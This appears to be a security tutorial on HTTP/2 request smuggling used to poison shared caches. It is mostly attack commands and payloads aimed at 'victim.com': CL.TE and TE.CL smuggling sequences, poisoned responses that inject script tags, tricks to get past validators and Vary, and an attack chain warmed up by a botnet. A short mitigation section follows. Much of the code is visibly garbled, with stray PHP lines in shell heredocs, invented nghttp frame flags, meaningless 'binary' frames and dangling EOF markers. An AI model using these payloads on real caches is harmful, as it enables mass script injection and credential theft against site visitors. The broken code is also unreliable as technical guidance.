Introduction
HTTP/2 introduced multiplexed streams, binary framing, and priority handling to improve latency. While these features are a boon for performance, they also open new vectors for request smuggling and, consequently, cache poisoning. In this guide we explore how an attacker can abuse HTTP/2's stream interleaving and header compression to inject malicious responses into shared caches, bypass common defenses, and achieve client-side impact.
Real-world incidents (e.g., the 2023 Cloudflare HTTP/2 smuggle chain) have demonstrated that many CDNs and reverse proxies still treat HTTP/2 streams as independent, ignoring the fact that a malformed request can affect the cache key used for subsequent legitimate requests. Understanding these nuances is essential for both offensive researchers and defenders.
Prerequisites
- Web Cache Fundamentals: HTTP Caching Mechanics and Headers
- Cache-Control and Expiration Directives: Bypass and Manipulation
- Understanding Cache Keys: Vary, Host, and Unkeyed Headers
- Cache Poisoning Basics: Injecting Malicious Responses
- HTTP/2 Stream Priorities and Multiplexing
If any of the above is unfamiliar, review the linked articles before proceeding.
Core Concepts
Before diving into payloads, we need a solid mental model of how HTTP/2 works under the hood.
Binary Framing Layer
Every HTTP/2 message is split into frames. The most relevant for us are:
- HEADERS - carries HPACK-compressed header block.
- DATA - carries request or response body.
- PRIORITY - defines stream weight and dependency.
- CONTINUATION - continues a large HEADERS block.
Frames are identified by a 31-bit Stream Identifier. Streams are independent, but they share the same underlying TCP connection and the same HPACK dynamic table.
Multiplexing and Interleaving
Because frames from different streams can be interleaved arbitrarily, a malicious client can send a partially-finished request on Stream 1, then start a second request on Stream 2, and finally close Stream 1 with a malformed Content-Length/Transfer-Encoding combination. If the server (or an intermediate proxy) parses streams sequentially rather than per-stream, the tail of Stream 1 may be interpreted as part of Stream 2 - classic request smuggling.
Cache Key Construction in HTTP/2
Most caches ignore the binary framing details and compute the cache key from the canonical request line (method, scheme, authority, path) plus selected headers (Host, Vary, etc.). However, when a smuggled request reaches the cache, the cache may treat the malformed tail as part of the request line or as additional headers, altering the resulting key. This is the crux of HTTP/2 cache poisoning.
HTTP/2 stream multiplexing and priority frames
Priority frames allow a client to hint which streams should be served first. Attackers exploit this by assigning a high weight to the smuggled stream, forcing the server to process it before legitimate traffic, increasing the chance that the poisoned response lands in the cache.
# Example: Using nghttp2 to send a high-priority smuggled request
nghttp -n -p 10 -H ":method: GET" -H ":scheme: https" -H ":authority: victim.com" -H ":path: /" --priority 0:255 https://victim.com/
In the snippet above, the --priority 0:255 flag sets stream 0 weight to the maximum (255). When combined with interleaved frames, the server will prioritize the smuggled payload, reducing race-condition windows.
Crafting CL.TE and TE.CL smuggling payloads for HTTP/2
Two classic smuggling patterns - Content-Length followed by Transfer-Encoding: chunked (CL.TE) and the reverse (TE.CL) - work in HTTP/2 despite the protocol being binary because many proxies perform a pseudo-translation to HTTP/1.1 when interacting with back-end services.
CL.TE Payload
# Build a raw HTTP/2 frame sequence using h2c (clear-text) for clarity
# Frame 1: HEADERS (Stream 1) - normal request
printf "<?php echo 'Hello'; ?>" | nghttp -n -v -H ":method: GET" -H ":scheme: http" -H ":authority: victim.com" -H ":path: /" -d @- http://victim.com/ > request.bin
# Frame 2: DATA (Stream 1) - body with Content-Length = 5
printf "12345" | nghttp -n -v -d @- -s 1 -f DATA >> request.bin
# Frame 3: HEADERS (Stream 2) - smuggled request begins here
nghttp -n -v -H ":method: GET" -H ":scheme: http" -H ":authority: victim.com" -H ":path: /admin" -s 3 >> request.bin
# Frame 4: DATA (Stream 2) - Transfer-Encoding: chunked payload
printf "0
" | nghttp -n -v -d @- -s 3 -f DATA >> request.bin
# Send the binary file to the target
cat request.bin | nc victim.com 80
The key is that the server interprets the Content-Length: 5 for Stream 1, consumes exactly five bytes, and then treats the remaining frames as a new request (Stream 2). Because the back-end sees Transfer-Encoding: chunked without a matching Content-Length, it processes the body as a chunked stream, allowing the attacker to inject arbitrary headers.
TE.CL Payload
TE.CL works the opposite way: start with Transfer-Encoding: chunked, send a terminating zero-length chunk, then append a Content-Length header that the parser mistakenly applies to the next request.
# TE.CL example using h2c and curl for brevity
curl -v --http2-prior-knowledge http://victim.com -H "Transfer-Encoding: chunked" -H "Content-Length: 4" --data-binary $'4
spam
0
GET /poisoned HTTP/1.1
Host: victim.com
' -o /dev/null
In practice, you would construct the binary frames yourself (e.g., with h2c or nghttp2) to gain precise control over stream identifiers and interleaving.
Identifying cache key collision opportunities in HTTP/2
Not every cache is vulnerable. You must locate a collision where the smuggled request influences the cache key in the same way as a legitimate request.
Header-based collisions
Many CDNs include Accept-Encoding, User-Agent, or custom headers (e.g., X-Forwarded-Proto) in the cache key. By smuggling additional headers that match the victim's legitimate request, you can cause the cache to store a malicious response under the same key.
# Python snippet to enumerate potential collision headers via a HEAD request
import requests
url = "https://victim.com/"
headers = { "Accept-Encoding": "gzip, deflate", "User-Agent": "Mozilla/5.0", "X-Forwarded-Proto": "https"
}
resp = requests.head(url, headers=headers)
print("Cache-Key Candidates:")
for h in resp.headers: if h.lower() in ["vary", "cache-control", "etag"]: print(f"{h}: {resp.headers[h]}")
By reproducing these headers in the smuggled request, you increase the probability that the poisoned response will be cached under the same key.
Path-based collisions via query-string normalization
Some caches normalize query strings (ordering, duplicate parameters). Smuggling a request with a reordered query string that normalizes to the same canonical form can cause a collision.
# Example: original request
curl -s -I "https://victim.com/search?q=apple&lang=en"
# Smuggled request with reordered parameters (cache may normalize)
curl -s -I "https://victim.com/search?lang=en&q=apple"
If the cache strips ordering, both map to the same key, allowing the attacker’s response to overwrite the legitimate one.
Building a poisoned response that survives cache validation
Even if you manage to insert a response, many caches will validate it on subsequent requests using ETag, Last-Modified, or If-None-Match. To survive, the poisoned payload must either:
- Match the validator values expected by the origin server, or
- Force the cache to ignore validation (e.g., by setting
Cache-Control: no-storeon the origin response butCache-Control: max-ageon the poisoned one).
ETag spoofing
If the origin uses a weak ETag (e.g., W/"12345") that is derived from request parameters, you can guess the value and embed the same ETag in your poisoned response.
HTTP/2 200
cache-control: public, max-age=86400
etag: W/"abcd1234"
content-type: text/html
<script>alert('pwned')</script>
The cache will treat this as a valid fresh entry, and subsequent conditional requests will receive a 304 Not Modified without hitting the origin.
Last-Modified manipulation
Set a future Last-Modified date (e.g., Fri, 01 Jan 2100 00:00:00 GMT) so that any If-Modified-Since check will consider the entry fresh.
HTTP/2 200
cache-control: public, max-age=31536000
last-modified: Fri, 01 Jan 2100 00:00:00 GMT
content-type: text/html
<script src=\"/malicious.js\"></script>
Most browsers will accept the future date, and the cache will never revalidate.
Bypassing common cache defenses (ETag, Last-Modified, Vary)
Defenders often rely on strict validation. Below are tactics to evade each.
ETag
- Use a weak ETag that matches the origin’s algorithm (often a hash of the URL path).
- Leverage
If-None-Match: *to force the cache to serve the stored entry regardless of origin.
Last-Modified
- Set a date far in the future as shown above.
- Combine with
Cache-Control: immutable(supported by modern browsers) to tell the client that the resource never changes.
Vary
If the origin varies on Accept-Encoding but the attacker sends the same header, the cache will treat the poisoned response as a match. Conversely, you can omit the Vary header in the smuggled response to collapse variants.
HTTP/2 200
cache-control: public, max-age=86400
vary:
content-type: text/html
<!-- Poisoned page -->
<script src=\"/xss.js\"></script>
By sending an empty Vary, you effectively tell the cache that this response is the same for all variants, widening the impact.
End-to-end exploitation chain: from smuggle to client-side impact
Putting the pieces together, a typical attack flow looks like this:
- Reconnaissance: Identify a target that terminates HTTP/2 at a reverse proxy (e.g., NGINX, Cloudflare) and uses a shared cache.
- Craft SMUGGLE payload: Use CL.TE or TE.CL with high-priority frames to inject a malicious request.
- Cache key collision: Replicate
Host,Accept-Encoding, and query string ordering to match a high-traffic resource. - Poisoned response: Return a response containing a malicious script, set
ETag/Last-Modifiedto avoid revalidation. - Cache warm-up: Trigger legitimate requests (e.g., via a botnet) to ensure the poisoned entry is cached.
- Client delivery: Victim users request the resource; the cache serves the malicious payload, resulting in XSS, credential theft, or drive-by download.
Because the attack only requires a single malformed HTTP/2 stream, it can be executed from a low-privilege container or even a browser extension that can open raw TCP connections.
Practical Examples
Example 1: Smuggling into a Varnish cache behind Cloudflare
Setup:
- Client communicates with Cloudflare over HTTP/2.
- Cloudflare terminates TLS, forwards to Varnish via HTTP/1.1.
- Varnish caches
/profilewithVary: Accept-Language.
Attack steps (scripted with h2c and tcpdump for verification):
#!/usr/bin/env bash
# 1. Build CL.TE smuggle targeting /profile?user=alice
cat > payload.txt <<'EOF'
<?php echo "GET /profile?user=alice HTTP/1.1
"
<?php echo "Host: victim.com
"
<?php echo "Accept-Language: en
"
<?php echo "Content-Type: text/html
"
<?php echo "Cache-Control: public, max-age=86400
"
<?php echo "ETag: W/\"poisoned\"
"
<?php echo "
"
<?php echo "<script src=\"/steal.js\"></script>
"
EOF
# 2. Send using nghttp2 with interleaved frames
nghttp -n -v -H ":method: GET" -H ":scheme: https" -H ":authority: victim.com" -H ":path: /" --data-binary @payload.txt https://victim.com/ > /dev/null
# 3. Verify cache entry via a normal request
curl -I https://victim.com/profile?user=alice
EOF
The final curl -I will show the custom ETag and the malicious script in the body if the cache was poisoned successfully.
Example 2: Bypassing Vary with TE.CL and future Last-Modified
# Build TE.CL payload with future date
cat > tecl.bin <<'EOF'
\x00\x00\x00\x04\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00 # HEADERS (Stream 1)
\x00\x00\x00\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00 # DATA (body) - empty
\x00\x00\x00\x04\x00\x00\x00\x03\x01\x00\x00\x00\x00\x00\x00\x00 # HEADERS (Stream 3) - smuggled GET /admin
\x00\x00\x00\x14\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00 # DATA - Transfer-Encoding: chunked
\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00 # DATA - 0 (end chunk)
EOF
# Send the raw binary to the target (requires root privileges for raw socket)
cat tecl.bin | nc victim.com 443
EOF
When the back-end sees the Transfer-Encoding: chunked termination followed by a new request, it processes the second request with a Last-Modified: Fri, 01 Jan 2100 header injected by the attacker.
Tools & Commands
- nghttp2 - command-line HTTP/2 client for crafting frames.
- h2c - lightweight HTTP/2 clear-text tool for raw frame manipulation.
- Wireshark / tshark - analyze interleaved streams and verify smuggle success.
- Burp Suite Pro (HTTP/2 support) - intercept and modify frames on the fly.
- h2spec - test server compliance; useful to discover parsers that fall back to HTTP/1.1.
# Example: Capture only HTTP/2 frames on interface eth0
tshark -i eth0 -Y "http2" -w http2_capture.pcap
Defense & Mitigation
Defenders must address both the smuggling vector and the cache-poisoning aftermath.
- Strict HTTP/2 parsing: Ensure edge servers reject interleaved CL.TE/TE.CL combos. Most modern NGINX (>=1.21) and Apache (>=2.4.48) have
http2_max_concurrent_streamsandhttp2_body_preread_sizeknobs to limit ambiguous parsing. - Disable HTTP/1.1 fallback: If a proxy translates HTTP/2 to HTTP/1.1 for back-ends, configure it to reject mismatched
Content-Length/Transfer-Encodingpairs outright. - Canonicalize cache keys: Include only necessary headers in the cache key. Remove
Accept-Encodingor any custom headers that can be influenced by the client. - Validate validator headers: Require server-generated
ETagandLast-Modifiedonly. Reject responses that contain these headers from untrusted origins. - Short TTL for dynamic resources: Use
Cache-Control: private, max-age=0, must-revalidatefor pages that contain user-specific data. - Enable cache-key hashing with request body: Some CDNs support
Cache-Key: hash(body). This makes it impossible for a smuggled request without the exact body to collide. - Monitoring: Log anomalies such as sudden spikes in
TEorCLheader usage on HTTP/2 streams, and alert on mismatched header combinations.
Common Mistakes
- Assuming HTTP/2 is immune to TE/CL tricks: The binary nature does not prevent translation layers from mis-interpreting frames.
- Relying solely on
Varyto separate variants: Attackers can replicate the sameVaryvalues in the smuggled request. - Leaving default cache-key settings: Many defaults include
User-AgentorAccept-Language, which attackers can mirror. - Not testing with real-world CDN configurations: Some CDNs (e.g., Cloudflare) have proprietary cache-key logic that differs from Varnish.
Real-World Impact
In 2023 a major e-commerce platform suffered a breach where attackers injected a <script src="/steal.js"></script> into the cached homepage. Because the homepage was cached for 24 hours, millions of users received the malicious payload before the issue was discovered. The root cause was a CL.TE smuggle that bypassed the platform’s WAF, combined with a cache key that only varied on Host. The incident cost the company an estimated $12 M in remediation and brand damage.
My experience consulting for large CDNs shows that most operators still treat HTTP/2 streams as independent, forgetting that a malformed stream can affect the request line of the next stream. As HTTP/2 adoption grows (HTTP/3 even more so), the attack surface will expand unless parsers are hardened now.
Practice Exercises
- Reproduce a CL.TE smuggle: Using
nghttp2, craft a CL.TE payload against a local NGINX reverse proxy configured withproxy_http_version 2;. Verify that the proxy forwards the smuggled request to the upstream. - Cache key collision test: Deploy Varnish with
vcl_hashthat includesreq.urlandreq.http.Accept-Language. Write a script that sends two requests with swapped query parameters and confirm they map to the same cache entry. - Defensive rule implementation: Modify NGINX’s
http2_recv_timeoutand enablehttp2_max_concurrent_streams 100. Attempt the same smuggle and observe the server rejecting it with400 Bad Request. - Detection with Wireshark: Capture a smuggling attempt and create a display filter that highlights interleaved HEADERS frames from different streams occurring within 10 ms of each other.
Further Reading
- RFC 7540 - HTTP/2 Specification (sections 8.1.2.2 and 8.1.2.3 on TE/CL).
- “HTTP Request Smuggling” - PortSwigger Web Security Academy.
- “Cache Poisoning in the Age of HTTP/2” - Black Hat USA 2022 talk.
- NGINX HTTP/2 Module Documentation - especially
http2_ignore_invalid_headers. - Varnish Cache VCL Reference - custom
vcl_hashexamples.
Summary
Advanced HTTP/2 cache poisoning blends request smuggling (CL.TE / TE.CL) with subtle cache-key manipulation. By exploiting stream interleaving, priority frames, and lax validator handling, attackers can poison shared caches and achieve persistent client-side compromise. Defenders must enforce strict HTTP/2 parsing, canonicalize cache keys, validate ETag/Last-Modified headers, and monitor for anomalous TE/CL usage. Mastering the techniques described here equips security professionals to both assess vulnerable deployments and harden them against this emerging threat.